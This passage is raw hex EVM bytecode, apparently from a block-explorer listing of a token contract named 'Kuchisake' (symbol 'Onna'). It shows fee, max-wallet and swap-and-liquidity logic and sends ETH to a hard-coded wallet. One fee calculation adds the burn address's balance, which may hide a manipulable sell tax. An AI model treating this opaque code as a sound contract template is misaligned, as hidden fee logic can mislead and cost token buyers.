ff168152602001908152602001600020549050919050565b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60036020528060005260406000206000915054906101000a900460ff1681565b600d5481565b600e5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4f6e6e6100000000000000000000000000000000000000000000000000000000815250905090565b6000610c11610b3e610cee565b84610c0c856040518060400160405280601b81526020017f6572726f723a20616c6c6f77616e63652062656c6f77207a65726f000000000081525060026000610b85610cee565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114579092919063ffffffff16565b610cf6565b6001905092915050565b6000610c2f610c28610cee565b8484610ec1565b6001905092915050565b60045481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60095481565b600b5481565b60085481565b60008183610ce69190612568565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5d9061260b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610dd6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dcd9061269d565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610eb49190612354565b60405180910390a3505050565b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610f655750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015610fbf5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611066576000610fcf83610998565b9050600d548282610fe091906126bd565b1115611021576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110189061275f565b60405180910390fd5b60008211611064576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105b906127f1565b60405180910390fd5b505b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561110a5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561120c57600760019054906101000a900460ff1660ff16600760009054906101000a900460ff1660ff16101580156111505750601060149054906101000a900460ff16155b80156111aa5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156111c25750601060159054906101000a900460ff165b1561120b5760006111d230610998565b9050600e548111156111e457600e5490505b6000600760006101000a81548160ff021916908360ff160217905550611209816114c2565b505b5b6000600190506000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806112b55750600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156112c3576000915061138b565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561131e57600190505b43600b541415611342576001600c5461133791906126bd565b600c81905550611352565b43600b819055506001600c819055505b6007600081819054906101000a900460ff168092919061137190612811565b91906101000a81548160ff021916908360ff160217905550505b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561142d5750600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156114425761143d84868561162b565b611450565b61144f8585858585611741565b5b5050505050565b600083831115829061149f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114969190612214565b60405180910390fd5b5082840390509392505050565b600081836114ba91906126bd565b905092915050565b6001601060146101000a81548160ff021916908315150217905550600060c8600654836114ef919061283b565b6114f99190612568565b9050600060646005548461150d919061283b565b6115179190612568565b90506000479050611532828461152d91906126bd565b611e07565b600081476115409190612895565b9050600060055460065461155491906126bd565b6064600554611563919061283b565b61156d9190612568565b905060006064828461157f919061283b565b6115899190612568565b90506115a086828561159b9190612895565b61204a565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5618682856115ce9190612895565b886040516115de939291906128c9565b60405180910390a14792506116077371f37a301bd80bce009689ef74dcee13cf65432c84612130565b5050505050506000601060146101000a81548160ff02191690831515021790555050565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116f991906126bd565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b816118cc5782600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117919190612895565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181f91906126bd565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516118bf9190612354565b60405180910390a3611e00565b8015611b245760006103e8600c54600854866118e8919061283b565b6118f2919061283b565b6118fc9190612568565b90506000818561190c9190612895565b905084600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119599190612895565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119e791906126bd565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a7591906126bd565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b159190612354565b60405180910390a35050611dff565b60006001600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546103e8600c5486600954611b7c919061283b565b611b86919061283b565b611b909190612568565b611b9a91906126bd565b90506002600c541415611bc5576103e860095485611bb8919061283b565b611bc29190612568565b90505b600080818387611bd59190612895565b611bdf9190612895565b90508186600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c2d9190612895565b611c3791906126bd565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cc591906126bd565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d5391906126bd565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611df39190612354565b60405180910390a35050505b5b5050505050565b6000600267ffffffffffffffff811115611e2457611e23612900565b5b604051908082528060200260200182016040528015611e525781602001602082028036833780820191505090505b5090503081600081518110611e6a57611e6961292f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f11573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f359190612973565b81600181518110611f4957611f4861292f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fb030600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610cf6565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612014959493929190612a99565b600060405180830381600087803b15801561202e57600080fd5b505af1158015612042573d6000803e3d6000fd5b505050505050565b600061dead905061207e30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685610cf6565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71983308660008087426040518863ffffffff1660e01b81526004016120e596959493929190612af3565b60606040518083038185885af1158015612103573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906121289190612b69565b505050505050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612176573d6000803e3d6000fd5b505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156121b557808201518184015260208101905061219a565b838111156121c4576000848401525b50505050565b6000601f19601f8301169050919050565b60006121e68261217b565b6121f08185612186565b9350612200818560208601612197565b612209816121ca565b840191505092915050565b6000602082019050818103600083015261222e81846121db565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006122668261223b565b9050919050565b6122768161225b565b811461228157600080fd5b50565b6000813590506122938161226d565b92915050565b6000819050919050565b6122ac81612299565b81146122b757600080fd5b50565b6000813590506122c9816122a3565b92915050565b600080604083850312156122e6576122e5612236565b5b60006122f485828601612284565b9250506020612305858286016122ba565b9150509250929050565b60008115159050919050565b6123248161230f565b82525050565b600060208201905061233f600083018461231b565b92915050565b61234e81612299565b82525050565b60006020820190506123696000830184612345565b92915050565b6000819050919050565b600061239461238f61238a8461223b565b61236f565b61223b565b9050919050565b60006123a682612379565b9050919050565b60006123b88261239b565b9050919050565b6123c8816123ad565b82525050565b60006020820190506123e360008301846123bf565b92915050565b60008060006060848603121561240257612401612236565b5b600061241086828701612284565b935050602061242186828701612284565b9250506040612432868287016122ba565b9150509250925092565b600060ff82169050919050565b6124528161243c565b82525050565b600060208201905061246d6000830184612449565b92915050565b61247c8161225b565b82525050565b60006020820190506124976000830184612473565b92915050565b6000602082840312156124b3576124b2612236565b5b60006124c184828501612284565b91505092915050565b600080604083850312156124e1576124e0612236565b5b60006124ef85828601612284565b925050602061250085828601612284565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061257382612299565b915061257e83612299565b92508261258e5761258d61250a565b5b828204905092915050565b7f4245503230204552523a20617070726f76652066726f6d20746865207a65726f60008201527f2061646472657373000000000000000000000000000000000000000000000000602082015250565b60006125f5602883612186565b915061260082612599565b604082019050919050565b60006020820190508181036000830152612624816125e8565b9050919050565b7f4245503230204552523a20617070726f766520746f20746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612687602683612186565b91506126928261262b565b604082019050919050565b600060208201905081810360008301526126b68161267a565b9050919050565b60006126c882612299565b91506126d383612299565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561270857612707612539565b5b828201905092915050565b7f4d41582057616c6c6574206c696d69742e000000000000000000000000000000600082015250565b6000612749601183612186565b915061275482612713565b602082019050919050565b600060208201905081810360008301526127788161273c565b9050919050565b7f546f6b656e20616d6f756e74206d75737420626520686967686572207468616e60008201527f20302e0000000000000000000000000000000000000000000000000000000000602082015250565b60006127db602383612186565b91506127e68261277f565b604082019050919050565b6000602082019050818103600083015261280a816127ce565b9050919050565b600061281c8261243c565b915060ff8214156128305761282f612539565b5b600182019050919050565b600061284682612299565b915061285183612299565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561288a57612889612539565b5b828202905092915050565b60006128a082612299565b91506128ab83612299565b9250828210156128be576128bd612539565b5b828203905092915050565b60006060820190506128de6000830186612345565b6128eb6020830185612345565b6128f86040830184612345565b949350505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061296d8161226d565b92915050565b60006020828403121561298957612988612236565b5b60006129978482850161295e565b91505092915050565b6000819050919050565b60006129c56129c06129bb846129a0565b61236f565b612299565b9050919050565b6129d5816129aa565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612a108161225b565b82525050565b6000612a228383612a07565b60208301905092915050565b6000602082019050919050565b6000612a46826129db565b612a5081856129e6565b9350612a5b836129f7565b8060005b83811015612a8c578151612a738882612a16565b9750612a7e83612a2e565b925050600181019050612a5f565b5085935050505092915050565b600060a082019050612aae6000830188612345565b612abb60208301876129cc565b8181036040830152612acd8186612a3b565b9050612adc6060830185612473565b612ae96080830184612345565b9695505050505050565b600060c082019050612b086000830189612473565b612b156020830188612345565b612b2260408301876129cc565b612b2f60608301866129cc565b612b3c6080830185612473565b612b4960a0830184612345565b979650505050505050565b600081519050612b63816122a3565b92915050565b600080600060608486031215612b8257612b81612236565b5b6000612b9086828701612b54565b9350506020612ba186828701612b54565b9250506040612bb286828701612b54565b915050925092509256fea264697066735822122014ab980b73279be41c3a428e0d6d69d5e5109e73ef349494add8ea314cf2071364736f6c634300080a0033

Deployed Bytecode

0x6080604052600436106101bb5760003560e01c806370a08231116100ec578063a457c2d71161008a578063dd62ed3e11610064578063dd62ed3e14610639578063e033da2a14610676578063ed11a65d146106a1578063fa977169146106cc576101c2565b8063a457c2d714610594578063a9059cbb146105d1578063af465a271461060e576101c2565b806378109e54116100c657806378109e54146104e85780637d1db4a5146105135780638da5cb5b1461053e57806395d89b4114610569576101c2565b806370a0823114610457578063715018a614610494578063768dc710146104ab576101c2565b806327c299c61161015957806349bd5a5e1161013357806349bd5a5e146103ab5780634a74bb02146103d65780634c22cd351461040157806366835bf41461042c576101c2565b806327c299c614610318578063313ce56714610343578063395093511461036e576101c2565b80631694505e116101955780631694505e1461025a57806318160ddd14610285578063220f6696146102b057806323b872dd146102db576101c2565b806306fdde03146101c7578063095ea7b3146101f25780630eb2cbb21461022f576101c2565b366101c257005b600080fd5b3480156101d357600080fd5b506101dc6106f7565b6040516101e99190612214565b60405180910390f35b3480156101fe57600080fd5b50610219600480360381019061021491906122cf565b610734565b604051610226919061232a565b60405180910390f35b34801561023b57600080fd5b50610244610752565b6040516102519190612354565b60405180910390f35b34801561026657600080fd5b5061026f610758565b60405161027c91906123ce565b60405180910390f35b34801561029157600080fd5b5061029a61077e565b6040516102a79190612354565b60405180910390f35b3480156102bc57600080fd5b506102c5610788565b6040516102d2919061232a565b60405180910390f35b3480156102e757600080fd5b5061030260048036038101906102fd91906123e9565b61079b565b60405161030f919061232a565b60405180910390f35b34801561032457600080fd5b5061032d610891565b60405161033a9190612354565b60405180910390f35b34801561034f57600080fd5b50610358610897565b6040516103659190612458565b60405180910390f35b34801561037a57600080fd5b50610395600480360381019061039091906122cf565b6108a0565b6040516103a2919061232a565b60405180910390f35b3480156103b757600080fd5b506103c0610953565b6040516103cd9190612482565b60405180910390f35b3480156103e257600080fd5b506103eb610979565b6040516103f8919061232a565b60405180910390f35b34801561040d57600080fd5b5061041661098c565b6040516104239190612354565b60405180910390f35b34801561043857600080fd5b50610441610992565b60405161044e9190612354565b60405180910390f35b34801561046357600080fd5b5061047e6004803603810190610479919061249d565b610998565b60405161048b9190612354565b60405180910390f35b3480156104a057600080fd5b506104a96109e1565b005b3480156104b757600080fd5b506104d260048036038101906104cd919061249d565b610a9f565b6040516104df919061232a565b60405180910390f35b3480156104f457600080fd5b506104fd610abf565b60405161050a9190612354565b60405180910390f35b34801561051f57600080fd5b50610528610ac5565b6040516105359190612354565b60405180910390f35b34801561054a57600080fd5b50610553610acb565b6040516105609190612482565b60405180910390f35b34801561057557600080fd5b5061057e610af4565b60405161058b9190612214565b60405180910390f35b3480156105a057600080fd5b506105bb60048036038101906105b691906122cf565b610b31565b6040516105c8919061232a565b60405180910390f35b3480156105dd57600080fd5b506105f860048036038101906105f391906122cf565b610c1b565b604051610605919061232a565b60405180910390f35b34801561061a57600080fd5b50610623610c39565b6040516106309190612354565b60405180910390f35b34801561064557600080fd5b50610660600480360381019061065b91906124ca565b610c3f565b60405161066d9190612354565b60405180910390f35b34801561068257600080fd5b5061068b610cc6565b6040516106989190612354565b60405180910390f35b3480156106ad57600080fd5b506106b6610ccc565b6040516106c39190612354565b60405180910390f35b3480156106d857600080fd5b506106e1610cd2565b6040516106ee9190612354565b60405180910390f35b60606040518060400160405280600981526020017f4b7563686973616b650000000000000000000000000000000000000000000000815250905090565b6000610748610741610cee565b8484610cf6565b6001905092915050565b600a5481565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600454905090565b601060149054906101000a900460ff1681565b60006107a8848484610ec1565b610886846107b4610cee565b610881856040518060400160405280601f81526020017f6572726f723a20616d6f756e74206578636565647320616c6c6f77616e636500815250600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610837610cee565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114579092919063ffffffff16565b610cf6565b600190509392505050565b600c5481565b6000600c905090565b60006109496108ad610cee565b8461094485600260006108be610cee565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114ac90919063ffffffff16565b610cf6565b6001905092915050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601060159054906101000a900460ff1681565b60055481565b60065481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60036020528060005260406000206000915054906101000a900460ff1681565b600d5481565b600e5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4f6e6e6100000000000000000000000000000000000000000000000000000000815250905090565b6000610c11610b3e610cee565b84610c0c856040518060400160405280601b81526020017f6572726f723a20616c6c6f77616e63652062656c6f77207a65726f000000000081525060026000610b85610cee565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114579092919063ffffffff16565b610cf6565b6001905092915050565b6000610c2f610c28610cee565b8484610ec1565b6001905092915050565b60045481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60095481565b600b5481565b60085481565b60008183610ce69190612568565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5d9061260b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610dd6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dcd9061269d565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610eb49190612354565b60405180910390a3505050565b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610f655750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015610fbf5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611066576000610fcf83610998565b9050600d548282610fe091906126bd565b1115611021576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110189061275f565b60405180910390fd5b60008211611064576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105b906127f1565b60405180910390fd5b505b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561110a5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561120c57600760019054906101000a900460ff1660ff16600760009054906101000a900460ff1660ff16101580156111505750601060149054906101000a900460ff16155b80156111aa5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156111c25750601060159054906101000a900460ff165b1561120b5760006111d230610998565b9050600e548111156111e457600e5490505b6000600760006101000a81548160ff021916908360ff160217905550611209816114c2565b505b5b6000600190506000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806112b55750600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156112c3576000915061138b565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561131e57600190505b43600b541415611342576001600c5461133791906126bd565b600c81905550611352565b43600b819055506001600c819055505b6007600081819054906101000a900460ff168092919061137190612811565b91906101000a81548160ff021916908360ff160217905550505b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561142d5750600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156114425761143d84868561162b565b611450565b61144f8585858585611741565b5b5050505050565b600083831115829061149f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114969190612214565b60405180910390fd5b5082840390509392505050565b600081836114ba91906126bd565b905092915050565b6001601060146101000a81548160ff021916908315150217905550600060c8600654836114ef919061283b565b6114f99190612568565b9050600060646005548461150d919061283b565b6115179190612568565b90506000479050611532828461152d91906126bd565b611e07565b600081476115409190612895565b9050600060055460065461155491906126bd565b6064600554611563919061283b565b61156d9190612568565b905060006064828461157f919061283b565b6115899190612568565b90506115a086828561159b9190612895565b61204a565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5618682856115ce9190612895565b886040516115de939291906128c9565b60405180910390a14792506116077371f37a301bd80bce009689ef74dcee13cf65432c84612130565b5050505050506000601060146101000a81548160ff02191690831515021790555050565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116f991906126bd565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b816118cc5782600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117919190612895565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181f91906126bd565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516118bf9190612354565b60405180910390a3611e00565b8015611b245760006103e8600c54600854866118e8919061283b565b6118f2919061283b565b6118fc9190612568565b90506000818561190c9190612895565b905084600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119599190612895565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119e791906126bd565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a7591906126bd565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b159190612354565b60405180910390a35050611dff565b60006001600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546103e8600c5486600954611b7c919061283b565b611b86919061283b565b611b909190612568565b611b9a91906126bd565b90506002600c541415611bc5576103e860095485611bb8919061283b565b611bc29190612568565b90505b600080818387611bd59190612895565b611bdf9190612895565b90508186600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c2d9190612895565b611c3791906126bd565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cc591906126bd565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d5391906126bd565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611df39190612354565b60405180910390a35050505b5b5050505050565b6000600267ffffffffffffffff811115611e2457611e23612900565b5b604051908082528060200260200182016040528015611e525781602001602082028036833780820191505090505b5090503081600081518110611e6a57611e6961292f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f